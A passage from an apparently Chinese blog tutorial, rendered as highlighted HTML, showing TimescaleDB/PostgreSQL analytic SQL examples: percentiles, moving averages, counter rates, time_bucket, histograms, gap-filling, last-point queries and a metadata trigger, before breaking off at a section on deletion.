class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br></pre></td><td class="code"><pre><span class="line"># 中位数和百分位数</span><br><span class="line"># 使用percentile_cont以计算百分位数</span><br><span class="line"><span class="keyword">SELECT</span> <span class="built_in">percentile_cont</span>(<span class="number">0.5</span>)</span><br><span class="line">  <span class="keyword">WITHIN</span> <span class="keyword">GROUP</span> (<span class="keyword">ORDER</span> <span class="keyword">BY</span> temperature)</span><br><span class="line">  <span class="keyword">FROM</span> conditions;</span><br><span class="line">  </span><br><span class="line"># 累计金额</span><br><span class="line">使用<span class="built_in">sum</span>(<span class="built_in">sum</span>(<span class="keyword">column</span>)) <span class="keyword">OVER</span>(<span class="keyword">ORDER</span> <span class="keyword">BY</span> <span class="keyword">group</span>)找到的累计总和</span><br><span class="line"><span class="keyword">SELECT</span> location, <span class="built_in">sum</span>(<span class="built_in">sum</span>(temperature)) <span class="keyword">OVER</span>(<span class="keyword">ORDER</span> <span class="keyword">BY</span> location)</span><br><span class="line">  <span class="keyword">FROM</span> conditions</span><br><span class="line">  <span class="keyword">GROUP</span> <span class="keyword">BY</span> location;</span><br><span class="line"></span><br><span class="line"># 移动平均线</span><br><span class="line"># 对于简单的移动平均线，请<span class="keyword">OVER</span>在多行上使用窗口函数，然后在这些行上计算聚合函数。例如，要通过对十个最近的读数求平均值来找到设备的平滑温度：</span><br><span class="line"><span class="keyword">SELECT</span> <span class="type">time</span>, <span class="built_in">AVG</span>(temperature) <span class="keyword">OVER</span>(<span class="keyword">ORDER</span> <span class="keyword">BY</span> <span class="type">time</span></span><br><span class="line">      <span class="keyword">ROWS</span> <span class="keyword">BETWEEN</span> <span class="number">9</span> PRECEDING <span class="keyword">AND</span> <span class="keyword">CURRENT</span> <span class="type">ROW</span>)</span><br><span class="line">    <span class="keyword">AS</span> smooth_temp</span><br><span class="line">  <span class="keyword">FROM</span> conditions</span><br><span class="line">  <span class="keyword">WHERE</span> location <span class="operator">=</span> <span class="string">&#x27;garage&#x27;</span> <span class="keyword">and</span> <span class="type">time</span> <span class="operator">&gt;</span> NOW() <span class="operator">-</span> <span class="type">INTERVAL</span> <span class="string">&#x27;1 day&#x27;</span></span><br><span class="line">  <span class="keyword">ORDER</span> <span class="keyword">BY</span> <span class="type">time</span> <span class="keyword">DESC</span>;</span><br><span class="line"></span><br><span class="line"># 增加</span><br><span class="line"># 要计算值的增加，您需要考虑计数器重置。如果主机重新启动或容器重新启动，则可能会发生计数器重置。此示例查找发送的字节数，并将计数器重置考虑在内：</span><br><span class="line"><span class="keyword">SELECT</span></span><br><span class="line">  <span class="type">time</span>,</span><br><span class="line">  (</span><br><span class="line">    <span class="keyword">CASE</span></span><br><span class="line">      <span class="keyword">WHEN</span> bytes_sent <span class="operator">&gt;=</span> <span class="built_in">lag</span>(bytes_sent) <span class="keyword">OVER</span> w</span><br><span class="line">        <span class="keyword">THEN</span> bytes_sent <span class="operator">-</span> <span class="built_in">lag</span>(bytes_sent) <span class="keyword">OVER</span> w</span><br><span class="line">      <span class="keyword">WHEN</span> <span class="built_in">lag</span>(bytes_sent) <span class="keyword">OVER</span> w <span class="keyword">IS</span> <span class="keyword">NULL</span> <span class="keyword">THEN</span> <span class="keyword">NULL</span></span><br><span class="line">      <span class="keyword">ELSE</span> bytes_sent</span><br><span class="line">    <span class="keyword">END</span></span><br><span class="line">  ) <span class="keyword">AS</span> &quot;bytes&quot;</span><br><span class="line">  <span class="keyword">FROM</span> net</span><br><span class="line">  <span class="keyword">WHERE</span> interface <span class="operator">=</span> <span class="string">&#x27;eth0&#x27;</span> <span class="keyword">AND</span> <span class="type">time</span> <span class="operator">&gt;</span> NOW() <span class="operator">-</span> <span class="type">INTERVAL</span> <span class="string">&#x27;1 day&#x27;</span></span><br><span class="line">  <span class="keyword">WINDOW</span> w <span class="keyword">AS</span> (<span class="keyword">ORDER</span> <span class="keyword">BY</span> <span class="type">time</span>)</span><br><span class="line">  <span class="keyword">ORDER</span> <span class="keyword">BY</span> <span class="type">time</span></span><br><span class="line"></span><br><span class="line"># 速度</span><br><span class="line"># 与增加一样， rate 适用于计数器单调增加的情况。如果您的采样间隔是可变的，或者您在不同系列之间使用不同的采样间隔，那么将值归一化为一个共同的时间间隔以使计算出的值具有可比性会很有帮助。此示例查找每秒发送的字节数，并考虑计数器重置：</span><br><span class="line"><span class="keyword">SELECT</span></span><br><span class="line">  <span class="type">time</span>,</span><br><span class="line">  (</span><br><span class="line">    <span class="keyword">CASE</span></span><br><span class="line">      <span class="keyword">WHEN</span> bytes_sent <span class="operator">&gt;=</span> <span class="built_in">lag</span>(bytes_sent) <span class="keyword">OVER</span> w</span><br><span class="line">        <span class="keyword">THEN</span> bytes_sent <span class="operator">-</span> <span class="built_in">lag</span>(bytes_sent) <span class="keyword">OVER</span> w</span><br><span class="line">      <span class="keyword">WHEN</span> <span class="built_in">lag</span>(bytes_sent) <span class="keyword">OVER</span> w <span class="keyword">IS</span> <span class="keyword">NULL</span> <span class="keyword">THEN</span> <span class="keyword">NULL</span></span><br><span class="line">      <span class="keyword">ELSE</span> bytes_sent</span><br><span class="line">    <span class="keyword">END</span></span><br><span class="line">  ) <span class="operator">/</span> <span class="built_in">extract</span>(epoch <span class="keyword">from</span> <span class="type">time</span> <span class="operator">-</span> <span class="built_in">lag</span>(<span class="type">time</span>) <span class="keyword">OVER</span> w) <span class="keyword">AS</span> &quot;bytes_per_second&quot;</span><br><span class="line">  <span class="keyword">FROM</span> net</span><br><span class="line">  <span class="keyword">WHERE</span> interface <span class="operator">=</span> <span class="string">&#x27;eth0&#x27;</span> <span class="keyword">AND</span> <span class="type">time</span> <span class="operator">&gt;</span> NOW() <span class="operator">-</span> <span class="type">INTERVAL</span> <span class="string">&#x27;1 day&#x27;</span></span><br><span class="line">  <span class="keyword">WINDOW</span> w <span class="keyword">AS</span> (<span class="keyword">ORDER</span> <span class="keyword">BY</span> <span class="type">time</span>)</span><br><span class="line">  <span class="keyword">ORDER</span> <span class="keyword">BY</span> <span class="type">time</span></span><br><span class="line"></span><br><span class="line"># delta</span><br><span class="line"># 在许多监控和物联网用例中，设备或传感器报告的指标不会经常变化，任何变化都被视为异常。当您查询这些值随时间的变化时，您通常不想传输所有值，而只想传输观察到变化的值。这有助于最大限度地减少发送的数据量。您可以使用窗口函数和子选择的组合来实现这一点。此示例使用差异来过滤值未更改的行，并且仅传输值已更改的行：</span><br><span class="line"><span class="keyword">SELECT</span> <span class="type">time</span>, <span class="keyword">value</span> <span class="keyword">FROM</span> (</span><br><span class="line">  <span class="keyword">SELECT</span> <span class="type">time</span>,</span><br><span class="line">    <span class="keyword">value</span>,</span><br><span class="line">    <span class="keyword">value</span> <span class="operator">-</span> <span class="built_in">LAG</span>(<span class="keyword">value</span>) <span class="keyword">OVER</span> (<span class="keyword">ORDER</span> <span class="keyword">BY</span> <span class="type">time</span>) <span class="keyword">AS</span> diff</span><br><span class="line">  <span class="keyword">FROM</span> hypertable) ht</span><br><span class="line"><span class="keyword">WHERE</span> diff <span class="keyword">IS</span> <span class="keyword">NULL</span> <span class="keyword">OR</span> diff <span class="operator">!=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"># 时间段</span><br><span class="line"># TimescaleDBtime_bucket函数扩展了 PostgreSQL date_trunc函数。时间桶接受任意时间间隔以及可选的偏移量并返回桶开始时间</span><br><span class="line"><span class="keyword">SELECT</span> time_bucket(<span class="string">&#x27;5 minutes&#x27;</span>, <span class="type">time</span>) <span class="keyword">AS</span> five_min, <span class="built_in">avg</span>(cpu)</span><br><span class="line">  <span class="keyword">FROM</span> metrics</span><br><span class="line">  <span class="keyword">GROUP</span> <span class="keyword">BY</span> five_min</span><br><span class="line">  <span class="keyword">ORDER</span> <span class="keyword">BY</span> five_min <span class="keyword">DESC</span> LIMIT <span class="number">12</span>;</span><br><span class="line"></span><br><span class="line"># 第一和最后</span><br><span class="line"># TimescaleDBfirst和<span class="keyword">last</span>函数允许您按照另一列的顺序获取一列的值。这通常用于聚合。这些示例查找组的最后一个元素</span><br><span class="line"><span class="keyword">SELECT</span> location, <span class="keyword">last</span>(temperature, <span class="type">time</span>)</span><br><span class="line">  <span class="keyword">FROM</span> conditions</span><br><span class="line">  <span class="keyword">GROUP</span> <span class="keyword">BY</span> location;</span><br><span class="line">  </span><br><span class="line"><span class="keyword">SELECT</span> time_bucket(<span class="string">&#x27;5 minutes&#x27;</span>, <span class="type">time</span>) five_min, location, <span class="keyword">last</span>(temperature, <span class="type">time</span>)</span><br><span class="line">  <span class="keyword">FROM</span> conditions</span><br><span class="line">  <span class="keyword">GROUP</span> <span class="keyword">BY</span> five_min, location</span><br><span class="line">  <span class="keyword">ORDER</span> <span class="keyword">BY</span> five_min <span class="keyword">DESC</span> LIMIT <span class="number">12</span>;</span><br><span class="line"></span><br><span class="line"># 直方图</span><br><span class="line"># TimescaleDBhistogram函数允许您生成数据的直方图。本示例定义了一个直方图，其中定义了 <span class="number">60</span> 到 <span class="number">85</span> 范围内的五个桶。生成的直方图有七个桶；第一个用于低于最小阈值 <span class="number">60</span> 的值，中间的五个 bin 用于指定范围内的值，最后一个用于高于 <span class="number">85</span> 的值</span><br><span class="line"><span class="keyword">SELECT</span> location, <span class="built_in">COUNT</span>(<span class="operator">*</span>),</span><br><span class="line">    histogram(temperature, <span class="number">60.0</span>, <span class="number">85.0</span>, <span class="number">5</span>)</span><br><span class="line">   <span class="keyword">FROM</span> conditions</span><br><span class="line">   <span class="keyword">WHERE</span> <span class="type">time</span> <span class="operator">&gt;</span> NOW() <span class="operator">-</span> <span class="type">INTERVAL</span> <span class="string">&#x27;7 days&#x27;</span></span><br><span class="line">   <span class="keyword">GROUP</span> <span class="keyword">BY</span> location;</span><br><span class="line"></span><br><span class="line">location   <span class="operator">|</span> count <span class="operator">|</span>        histogram</span><br><span class="line"><span class="comment">------------+-------+-------------------------</span></span><br><span class="line"> office     <span class="operator">|</span> <span class="number">10080</span> <span class="operator">|</span> &#123;<span class="number">0</span>,<span class="number">0</span>,<span class="number">3860</span>,<span class="number">6220</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>&#125;</span><br><span class="line"> basement   <span class="operator">|</span> <span class="number">10080</span> <span class="operator">|</span> &#123;<span class="number">0</span>,<span class="number">6056</span>,<span class="number">4024</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>&#125;</span><br><span class="line"> garage     <span class="operator">|</span> <span class="number">10080</span> <span class="operator">|</span> &#123;<span class="number">0</span>,<span class="number">2679</span>,<span class="number">957</span>,<span class="number">2420</span>,<span class="number">2150</span>,<span class="number">1874</span>,<span class="number">0</span>&#125;</span><br><span class="line"> </span><br><span class="line"># 填隙</span><br><span class="line"># 您可以显示选定时间范围的记录，即使该范围的一部分不存在数据。这通常称为间隙填充，通常涉及为任何缺失数据记录空值的操作。</span><br><span class="line"># 在此示例中，我们使用的交易数据包括<span class="type">time</span>时间戳、asset_code被交易的时间、 price资产的时间和volume被交易的资产的时间。</span><br><span class="line"># 为九月份每天交易的资产“TIMS”的交易量创建一个查询：</span><br><span class="line"><span class="keyword">SELECT</span></span><br><span class="line">    time_bucket(<span class="string">&#x27;1 day&#x27;</span>, <span class="type">time</span>) <span class="keyword">AS</span> <span class="type">date</span>,</span><br><span class="line">    <span class="built_in">sum</span>(volume) <span class="keyword">AS</span> volume</span><br><span class="line">  <span class="keyword">FROM</span> trades</span><br><span class="line">  <span class="keyword">WHERE</span> asset_code <span class="operator">=</span> <span class="string">&#x27;TIMS&#x27;</span></span><br><span class="line">    <span class="keyword">AND</span> <span class="type">time</span> <span class="operator">&gt;=</span> <span class="string">&#x27;2021-09-01&#x27;</span> <span class="keyword">AND</span> <span class="type">time</span> <span class="operator">&lt;</span> <span class="string">&#x27;2021-10-01&#x27;</span></span><br><span class="line">  <span class="keyword">GROUP</span> <span class="keyword">BY</span> <span class="type">date</span></span><br><span class="line">  <span class="keyword">ORDER</span> <span class="keyword">BY</span> <span class="type">date</span> <span class="keyword">DESC</span>;</span><br><span class="line">  </span><br><span class="line"><span class="type">date</span>          <span class="operator">|</span> volume</span><br><span class="line"><span class="comment">------------------------+--------</span></span><br><span class="line"> <span class="number">2021</span><span class="number">-09</span><span class="number">-29</span> <span class="number">00</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">00</span> <span class="operator">|</span>  <span class="number">11315</span></span><br><span class="line"> <span class="number">2021</span><span class="number">-09</span><span class="number">-28</span> <span class="number">00</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">00</span> <span class="operator">|</span>   <span class="number">8216</span></span><br><span class="line"> <span class="number">2021</span><span class="number">-09</span><span class="number">-27</span> <span class="number">00</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">00</span> <span class="operator">|</span>   <span class="number">5591</span></span><br><span class="line"> <span class="number">2021</span><span class="number">-09</span><span class="number">-26</span> <span class="number">00</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">00</span> <span class="operator">|</span>   <span class="number">9182</span></span><br><span class="line"> <span class="number">2021</span><span class="number">-09</span><span class="number">-25</span> <span class="number">00</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">00</span> <span class="operator">|</span>  <span class="number">14359</span></span><br><span class="line"> <span class="number">2021</span><span class="number">-09</span><span class="number">-22</span> <span class="number">00</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">00</span> <span class="operator">|</span>   <span class="number">9855</span></span><br><span class="line"> </span><br><span class="line"> # 您可以从输出中看到，没有包含 <span class="number">09</span><span class="number">-23</span>、<span class="number">09</span><span class="number">-24</span> 或 <span class="number">09</span><span class="number">-30</span> 的记录，因为那些天没有记录交易数据。要包含每个缺失日的时间记录，您可以使用 TimescaleDBtime_bucket_gapfill 函数，该函数根据时间范围内的给定间隔生成一系列时间段。在此示例中，间隔为 <span class="number">1</span> 天，跨越 <span class="number">9</span> 月：</span><br><span class="line"> <span class="keyword">SELECT</span></span><br><span class="line">  time_bucket_gapfill(<span class="string">&#x27;1 day&#x27;</span>, <span class="type">time</span>) <span class="keyword">AS</span> <span class="type">date</span>,</span><br><span class="line">  <span class="built_in">sum</span>(volume) <span class="keyword">AS</span> volume</span><br><span class="line"><span class="keyword">FROM</span> trades</span><br><span class="line"><span class="keyword">WHERE</span> asset_code <span class="operator">=</span> <span class="string">&#x27;TIMS&#x27;</span></span><br><span class="line">  <span class="keyword">AND</span> <span class="type">time</span> <span class="operator">&gt;=</span> <span class="string">&#x27;2021-09-01&#x27;</span> <span class="keyword">AND</span> <span class="type">time</span> <span class="operator">&lt;</span> <span class="string">&#x27;2021-10-01&#x27;</span></span><br><span class="line"><span class="keyword">GROUP</span> <span class="keyword">BY</span> <span class="type">date</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> <span class="type">date</span> <span class="keyword">DESC</span>;</span><br><span class="line"></span><br><span class="line"><span class="type">date</span>          <span class="operator">|</span> volume</span><br><span class="line"><span class="comment">------------------------+--------</span></span><br><span class="line"> <span class="number">2021</span><span class="number">-09</span><span class="number">-30</span> <span class="number">00</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">00</span> <span class="operator">|</span></span><br><span class="line"> <span class="number">2021</span><span class="number">-09</span><span class="number">-29</span> <span class="number">00</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">00</span> <span class="operator">|</span>  <span class="number">11315</span></span><br><span class="line"> <span class="number">2021</span><span class="number">-09</span><span class="number">-28</span> <span class="number">00</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">00</span> <span class="operator">|</span>   <span class="number">8216</span></span><br><span class="line"> <span class="number">2021</span><span class="number">-09</span><span class="number">-27</span> <span class="number">00</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">00</span> <span class="operator">|</span>   <span class="number">5591</span></span><br><span class="line"> <span class="number">2021</span><span class="number">-09</span><span class="number">-26</span> <span class="number">00</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">00</span> <span class="operator">|</span>   <span class="number">9182</span></span><br><span class="line"> <span class="number">2021</span><span class="number">-09</span><span class="number">-25</span> <span class="number">00</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">00</span> <span class="operator">|</span>  <span class="number">14359</span></span><br><span class="line"> <span class="number">2021</span><span class="number">-09</span><span class="number">-24</span> <span class="number">00</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">00</span> <span class="operator">|</span></span><br><span class="line"> <span class="number">2021</span><span class="number">-09</span><span class="number">-23</span> <span class="number">00</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">00</span> <span class="operator">|</span></span><br><span class="line"> <span class="number">2021</span><span class="number">-09</span><span class="number">-22</span> <span class="number">00</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">00</span> <span class="operator">|</span>   <span class="number">9855</span></span><br><span class="line"> </span><br><span class="line"> # 您还可以使用 TimescaleDBtime_bucket_gapfill函数生成还包含时间戳的数据点。这对于需要甚至空值具有时间戳的图形库非常有用，以便它们可以准确地在图形中绘制间隙。在这个例子中，我们在过去两周内生成了 <span class="number">1080</span> 个数据点，用空值填充空白，并为每个空值提供一个时间戳：</span><br><span class="line"> <span class="keyword">SELECT</span></span><br><span class="line">  time_bucket_gapfill(<span class="type">INTERVAL</span> <span class="string">&#x27;2 weeks&#x27;</span> <span class="operator">/</span> <span class="number">1080</span>, <span class="type">time</span>, now() <span class="operator">-</span> <span class="type">INTERVAL</span> <span class="string">&#x27;2 weeks&#x27;</span>, now()) <span class="keyword">AS</span> btime,</span><br><span class="line">  <span class="built_in">sum</span>(volume) <span class="keyword">AS</span> volume</span><br><span class="line"><span class="keyword">FROM</span> trades</span><br><span class="line"><span class="keyword">WHERE</span> asset_code <span class="operator">=</span> <span class="string">&#x27;TIMS&#x27;</span></span><br><span class="line">  <span class="keyword">AND</span> <span class="type">time</span> <span class="operator">&gt;=</span> now() <span class="operator">-</span> <span class="type">INTERVAL</span> <span class="string">&#x27;2 weeks&#x27;</span> <span class="keyword">AND</span> <span class="type">time</span> <span class="operator">&lt;</span> now()</span><br><span class="line"><span class="keyword">GROUP</span> <span class="keyword">BY</span> btime</span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> btime;</span><br><span class="line"></span><br><span class="line">btime          <span class="operator">|</span> volume</span><br><span class="line"><span class="comment">------------------------+----------</span></span><br><span class="line"> <span class="number">2021</span><span class="number">-03</span><span class="number">-09</span> <span class="number">17</span>:<span class="number">28</span>:<span class="number">00</span><span class="operator">+</span><span class="number">00</span> <span class="operator">|</span>  <span class="number">1085.25</span></span><br><span class="line"> <span class="number">2021</span><span class="number">-03</span><span class="number">-09</span> <span class="number">17</span>:<span class="number">46</span>:<span class="number">40</span><span class="operator">+</span><span class="number">00</span> <span class="operator">|</span>  <span class="number">1020.42</span></span><br><span class="line"> <span class="number">2021</span><span class="number">-03</span><span class="number">-09</span> <span class="number">18</span>:<span class="number">05</span>:<span class="number">20</span><span class="operator">+</span><span class="number">00</span> <span class="operator">|</span></span><br><span class="line"> <span class="number">2021</span><span class="number">-03</span><span class="number">-09</span> <span class="number">18</span>:<span class="number">24</span>:<span class="number">00</span><span class="operator">+</span><span class="number">00</span> <span class="operator">|</span>  <span class="number">1031.25</span></span><br><span class="line"> <span class="number">2021</span><span class="number">-03</span><span class="number">-09</span> <span class="number">18</span>:<span class="number">42</span>:<span class="number">40</span><span class="operator">+</span><span class="number">00</span> <span class="operator">|</span>  <span class="number">1049.09</span></span><br><span class="line"> <span class="number">2021</span><span class="number">-03</span><span class="number">-09</span> <span class="number">19</span>:<span class="number">01</span>:<span class="number">20</span><span class="operator">+</span><span class="number">00</span> <span class="operator">|</span>  <span class="number">1083.80</span></span><br><span class="line"> <span class="number">2021</span><span class="number">-03</span><span class="number">-09</span> <span class="number">19</span>:<span class="number">20</span>:<span class="number">00</span><span class="operator">+</span><span class="number">00</span> <span class="operator">|</span>  <span class="number">1092.66</span></span><br><span class="line"> <span class="number">2021</span><span class="number">-03</span><span class="number">-09</span> <span class="number">19</span>:<span class="number">38</span>:<span class="number">40</span><span class="operator">+</span><span class="number">00</span> <span class="operator">|</span></span><br><span class="line"> <span class="number">2021</span><span class="number">-03</span><span class="number">-09</span> <span class="number">19</span>:<span class="number">57</span>:<span class="number">20</span><span class="operator">+</span><span class="number">00</span> <span class="operator">|</span>  <span class="number">1048.42</span></span><br><span class="line"> <span class="number">2021</span><span class="number">-03</span><span class="number">-09</span> <span class="number">20</span>:<span class="number">16</span>:<span class="number">00</span><span class="operator">+</span><span class="number">00</span> <span class="operator">|</span>  <span class="number">1063.17</span></span><br><span class="line"> <span class="number">2021</span><span class="number">-03</span><span class="number">-09</span> <span class="number">20</span>:<span class="number">34</span>:<span class="number">40</span><span class="operator">+</span><span class="number">00</span> <span class="operator">|</span>  <span class="number">1054.10</span></span><br><span class="line"> <span class="number">2021</span><span class="number">-03</span><span class="number">-09</span> <span class="number">20</span>:<span class="number">53</span>:<span class="number">20</span><span class="operator">+</span><span class="number">00</span> <span class="operator">|</span>  <span class="number">1037.78</span></span><br><span class="line"> </span><br><span class="line"> # 观察结转</span><br><span class="line"> # 如果您的数据集合仅在实际值发生变化时记录行，那么您的可视化可能仍需要所有数据点才能正确显示您的结果。在这种情况下，您可以结转上次观察到的值来填补空白。</span><br><span class="line"> <span class="keyword">SELECT</span></span><br><span class="line">  time_bucket_gapfill(<span class="type">INTERVAL</span> <span class="string">&#x27;5 min&#x27;</span>, <span class="type">time</span>, now() <span class="operator">-</span> <span class="type">INTERVAL</span> <span class="string">&#x27;2 weeks&#x27;</span>, now()) <span class="keyword">as</span> <span class="number">5</span>min,</span><br><span class="line">  meter_id,</span><br><span class="line">  locf(<span class="built_in">avg</span>(data_value)) <span class="keyword">AS</span> data_value</span><br><span class="line"><span class="keyword">FROM</span> my_hypertable</span><br><span class="line"><span class="keyword">WHERE</span></span><br><span class="line">  <span class="type">time</span> <span class="operator">&gt;</span> now() <span class="operator">-</span> <span class="type">INTERVAL</span> <span class="string">&#x27;2 weeks&#x27;</span></span><br><span class="line">  <span class="keyword">AND</span> meter_id <span class="keyword">IN</span> (<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>,<span class="number">4</span>)</span><br><span class="line"><span class="keyword">GROUP</span> <span class="keyword">BY</span> <span class="number">5</span>min, meter_id</span><br><span class="line"></span><br><span class="line"># 最后一个点</span><br><span class="line"># 您可以找到数据库中每个唯一项目的最后一个点。例如，每个物联网设备的最后记录测量值、资产跟踪中每个项目的最后位置或证券的最后价格。最小化最后一点要搜索的数据量的标准方法是使用时间谓词来严格限制要遍历的时间量或块数。除非所有项目在时间范围内至少有一条记录，否则此方法不起作用。更健壮的方法是使用最后点查询来确定每个唯一项的最后一条记录。</span><br><span class="line"></span><br><span class="line"># 在此示例中，对于资产跟踪或车队管理很有用，我们为每辆被跟踪的车辆创建了一个元数据表，以及一个包含给定时间车辆位置的第二个时间序列表</span><br><span class="line"><span class="keyword">CREATE TABLE</span> vehicles (</span><br><span class="line">  vehicle_id <span class="type">INTEGER</span> <span class="keyword">PRIMARY KEY</span>,</span><br><span class="line">  vin_number <span class="type">CHAR</span>(<span class="number">17</span>),</span><br><span class="line">  last_checkup <span class="type">TIMESTAMP</span></span><br><span class="line">);</span><br><span class="line"></span><br><span class="line"><span class="keyword">CREATE TABLE</span> location (</span><br><span class="line">  <span class="type">time</span> <span class="type">TIMESTAMP</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">  vehicle_id <span class="type">INTEGER</span> <span class="keyword">REFERENCES</span> vehicles (vehicle_id),</span><br><span class="line">  latitude <span class="type">FLOAT</span>,</span><br><span class="line">  longitude <span class="type">FLOAT</span></span><br><span class="line">);</span><br><span class="line"></span><br><span class="line"><span class="keyword">SELECT</span> create_hypertable(<span class="string">&#x27;location&#x27;</span>, <span class="string">&#x27;time&#x27;</span>);</span><br><span class="line"></span><br><span class="line"># 我们可以使用第一个表，它为我们提供了一组不同的车辆，<span class="keyword">LATERAL</span> <span class="keyword">JOIN</span>对位置表执行 a ：</span><br><span class="line"></span><br><span class="line"><span class="keyword">SELECT</span> data.<span class="operator">*</span> <span class="keyword">FROM</span> vehicles v</span><br><span class="line">  <span class="keyword">INNER</span> <span class="keyword">JOIN</span> <span class="keyword">LATERAL</span> (</span><br><span class="line">    <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> location l</span><br><span class="line">      <span class="keyword">WHERE</span> l.vehicle_id <span class="operator">=</span> v.vehicle_id</span><br><span class="line">      <span class="keyword">ORDER</span> <span class="keyword">BY</span> <span class="type">time</span> <span class="keyword">DESC</span> LIMIT <span class="number">1</span></span><br><span class="line">  ) <span class="keyword">AS</span> data</span><br><span class="line"><span class="keyword">ON</span> <span class="literal">true</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> v.vehicle_id, data.time <span class="keyword">DESC</span>;</span><br><span class="line"></span><br><span class="line">            <span class="type">time</span>            <span class="operator">|</span> vehicle_id <span class="operator">|</span> latitude  <span class="operator">|</span>  longitude</span><br><span class="line"><span class="comment">----------------------------+------------+-----------+-------------</span></span><br><span class="line"> <span class="number">2017</span><span class="number">-12</span><span class="number">-19</span> <span class="number">20</span>:<span class="number">58</span>:<span class="number">20.071784</span> <span class="operator">|</span>         <span class="number">72</span> <span class="operator">|</span> <span class="number">40.753690</span> <span class="operator">|</span>  <span class="number">-73.980340</span></span><br><span class="line"> <span class="number">2017</span><span class="number">-12</span><span class="number">-20</span> <span class="number">11</span>:<span class="number">19</span>:<span class="number">30.837041</span> <span class="operator">|</span>        <span class="number">156</span> <span class="operator">|</span> <span class="number">40.729265</span> <span class="operator">|</span>  <span class="number">-73.993611</span></span><br><span class="line"> <span class="number">2017</span><span class="number">-12</span><span class="number">-15</span> <span class="number">18</span>:<span class="number">54</span>:<span class="number">01.185027</span> <span class="operator">|</span>        <span class="number">231</span> <span class="operator">|</span> <span class="number">40.350437</span> <span class="operator">|</span>  <span class="number">-74.651954</span></span><br><span class="line"> </span><br><span class="line"># 这种方法需要保留一个单独的表，其中包含不同的项目标识符或名称。您可以通过使用从超表到元数据表的外键来完成此操作，如示例中的<span class="keyword">REFERENCES</span>定义所示。</span><br><span class="line"># 元数据表可以通过业务逻辑填充，例如当车辆首次向系统注册时。或者，您可以在对超表执行插入或更新时使用触发器动态填充它。例如：</span><br><span class="line"><span class="keyword">CREATE</span> <span class="keyword">OR</span> REPLACE <span class="keyword">FUNCTION</span> create_vehicle_trigger_fn()</span><br><span class="line">  <span class="keyword">RETURNS</span> <span class="keyword">TRIGGER</span> <span class="keyword">LANGUAGE</span> PLPGSQL <span class="keyword">AS</span></span><br><span class="line">$BODY$</span><br><span class="line"><span class="keyword">BEGIN</span></span><br><span class="line">  <span class="keyword">INSERT INTO</span> vehicles <span class="keyword">VALUES</span>(NEW.vehicle_id, <span class="keyword">NULL</span>, <span class="keyword">NULL</span>) <span class="keyword">ON</span> CONFLICT DO NOTHING;</span><br><span class="line">  <span class="keyword">RETURN</span> <span class="keyword">NEW</span>;</span><br><span class="line"><span class="keyword">END</span></span><br><span class="line">$BODY$;</span><br><span class="line"></span><br><span class="line"><span class="keyword">CREATE</span> <span class="keyword">TRIGGER</span> create_vehicle_trigger</span><br><span class="line">  BEFORE <span class="keyword">INSERT</span> <span class="keyword">OR</span> <span class="keyword">UPDATE</span> <span class="keyword">ON</span> location</span><br><span class="line">  <span class="keyword">FOR</span> <span class="keyword">EACH</span> <span class="type">ROW</span> <span class="keyword">EXECUTE</span> <span class="keyword">PROCEDURE</span> create_vehicle_trigger_fn();</span><br></pre></td></tr></table></figure><h2 id="十四-timescaled删除">十四.timescaled删除</h2><h3 id="1-使用mybatis-plus-api-单表删除">1.使用mybatis plus api 单表删除</h3><h3 id="2-使用delete语句删除">2.使用delete语句删除</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span 